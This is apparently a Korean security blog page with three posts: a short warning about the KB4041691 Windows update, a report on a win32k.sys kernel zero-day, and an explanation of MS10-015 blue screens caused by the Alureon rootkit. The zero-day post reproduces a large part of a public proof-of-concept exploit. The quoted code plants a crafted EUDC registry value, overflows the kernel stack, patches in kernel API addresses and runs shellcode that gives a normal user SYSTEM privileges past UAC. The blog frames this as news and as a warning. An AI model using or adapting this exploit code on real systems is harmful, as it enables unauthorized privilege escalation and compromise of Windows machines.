가상 머신으로 운영되는 Windows Server 2016 및 Windows 10 운영체제에엇 2017년 10월 정기 보안 업데이트 중의 하나인 KB4041691을 설치하는 과정에서 심각한 피해가 발생한다고 보고되고 있다.

 

 

긴급 대응하는 방법은 아래 자료를 참고하기 바란다.

 

 

고맙습니다.

 

저작자 표시
신고
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

    이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

    PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

    다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


    위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

    아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

    1. Introduction
    2.  
    3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
    4.  
    5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
    6. Using the code
    7.  
    8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
    9. Collapse
    10. Collapse
    11.  
    12. .text:BF81BA91                 push    esi             ; Environment
    13. .text:BF81BA92                 push    esi             ; Context
    14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
    15. .text:BF81BA98                 push    edi             ; Path
    16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
    17. .text:BF81BA9C                 push    esi             ; RelativeTo
    18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
    19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
    20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
    21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
    22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
    23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
    24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
    25. .text:BF81BACE                 mov     dword_BFA198FC, esi
    26. .text:BF81BAD4                 mov     dword_BFA19900, esi
    27. .text:BF81BADA                 mov     dword_BFA19904, esi
    28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
    29. .text:BF81BAE6                 mov     [ebp+var_8], eax
    30.  
    31. Stack trace shows the calling process is as follows:
    32.  
    33. GDI32.EnableEUDC ->
    34. NtGdiEnableEudc ->
    35. GreEnableEUDC ->
    36. sub_BF81B3B4 ->
    37. sub_BF81BA0B ->
    38. RtlQueryRegistryValues (Overflow occurs)
    39.  
    40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
    41. Collapse
    42. Collapse
    43.  
    44. // Allocate buffer for the driver
    45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
    47.  
    48. BYTE* pMem;            // shellcode
    49. DWORD ExpSize = 0;
    50.  
    51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
    52.  
    53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
    55.  
    56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
    57.  
    58. ExpSize = 0x28;
    59.  
    60.  
    61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
    62. Collapse
    63. Collapse
    64.  
    65. // Get the running kernel file name
    66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
    67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
    68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
    69. ULONG AllocSize = 0;
    70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    71.  
    72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
    73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
    74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
    75.  
    76. //Relocation to the running kernel base
    77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
    78.  
    79. free(pModInfo);
    80.  
    81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
    82. // so we need a valid pool address to avoid BSOD.
    83.  
    84. if(vi.dwBuildNumber < 7600)    
    85. {
    86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
    87.  
    88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
    89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    92.  
    93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
    95.  
    96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
    97.     {
    98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
    99.         {
    100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
    101.             break;
    102.         }
    103.     }
    104.     free(pHandleInfo);
    105. }
    106. else
    107. {
    108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
    109. }
    110.  
    111. // Now fills the API addresses needed
    112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
    113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
    114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
    115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
    116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
    117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
    118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
    119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
    120. FreeLibrary(hKernel);
    121.  
    122. // Here we tell the shellcode(PE loader) where the driver buffer is.
    123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
    124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
    125.  
    126.  
    127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
    128. Collapse
    129. Collapse
    130.  
    131. UINT codepage = GetACP();
    132. TCHAR tmpstr[256];
    133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
    134. HKEY hKey;
    135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
    136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    137.  
    138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
    139.  
    140. __try
    141. {
    142.     EnableEUDC(TRUE);    
    143. }
    144. __except(1)
    145. {
    146. }
    147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    148. RegCloseKey(hKey);
    149.  
    150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
    151. Points of Interest
    152.  
    153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
    154. Additional Information
    155.  
    156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
    157. Windows Vista/2008 6.1.6000 x32,
    158. Windows Vista/2008 6.1.6001 x32,
    159. Windows 7 6.2.7600 x32,
    160. Windows 7/2008 R2 6.2.7600 x64.
    161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


    아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



    감사합니다.

    저작자 표시
    신고
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      지난 2월 10일 경에 마이크로소프트의 정기 보안 업데이트가 발표되었습니다. 일반적으로 자동 업데이트로 설정되어 있으므로, 하루 이틀 사이에 업데이트를 컴퓨터에 다운로드하여 설치하게 됩니다.

      이번에 발표된 보안 패치 가운데 MS10-015를 설치하고 나서 재부팅을 하고 나면 공포의 블루스크린 현상이 발생하는 것으로 알려져 있습니다. 

      마이크로소프트의 보안 대응 센터의 블로그에 따르면, 이러한 블루스크린 현상에 대한 소식을 접하고 실제 고객의 컴퓨터를 조사한 결과 Alureon 이라는 루트킷에 감염되어서 발생한 것이라고 밝혔습니다.

      Alureon 루트킷은 윈도우의 커널 라이브러리를 변조하기 때문이며, 아래와 같이 XP 환경에서 실제 Alureon 루트킷을 감염시키는 테스트를 통해 확인했습니다.

      Phase

      Actions

      Result on Test Machines

      Debug Phase 1

      • Install Supported Versions of Windows XP
      • Install all previous updates to bring the Windows Kernel prior to the version updated by MS10-015 to version 5.1.2600.5857.
      • Install the Alureon Root Kit.
      • Install MS10-015 / KB977165 Kernel Version 5.1.2600.5913

      The system enters a repeated reboot / blue screen

      Debug Phase 2

      • Install Supported Versions of Windows XP
      • Install all previous updates to bring the Windows Kernel to version 5.1.2600.5857
      • Install all previous updates to bring the Windows Kernel to Current Version prior to the version updated by MS10-015.
      • Install the Alureon Root Kit.

      Successful boot

      Debug Phase 3

      • Install Windows XP SP3
      • Install all previous updates to bring the Windows Kernel to version 5.1.2600.5857
      • Install  the MS10-015 security update the Kernel version to version 5.1.2600.5913
      • Install the Alureon Root Kit.

      Successful boot

      Debug Phase 4

      • Install Supported Versions of Windows XP
      • Install all previous updates to bring the Windows Kernel to version 5.1.2600.5857
      • Install MS10-015 to bring the Windows Kernel to version 5.1.2600.5913
      • Install the Alureon Root Kit.
      • Uninstall KB977165 setting the Kernel to version 5.1.2600.5857

      The machine goes into a rolling reboot

       

      따라서, 이번 윈도우 업데이트를 진행하고 나서 재부팅 후에 블루스크린이 발생하는 경우에는 루트킷을 의심하고 안티바이러스 제품을 설치하여 제거해야 합니다.

      출처: http://blogs.technet.com/msrc/archive/2010/02/17/update-restart-issues-after-installing-ms10-015-and-the-alureon-rootkit.aspx


      신고
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus


        Web Analytics Blogs Directory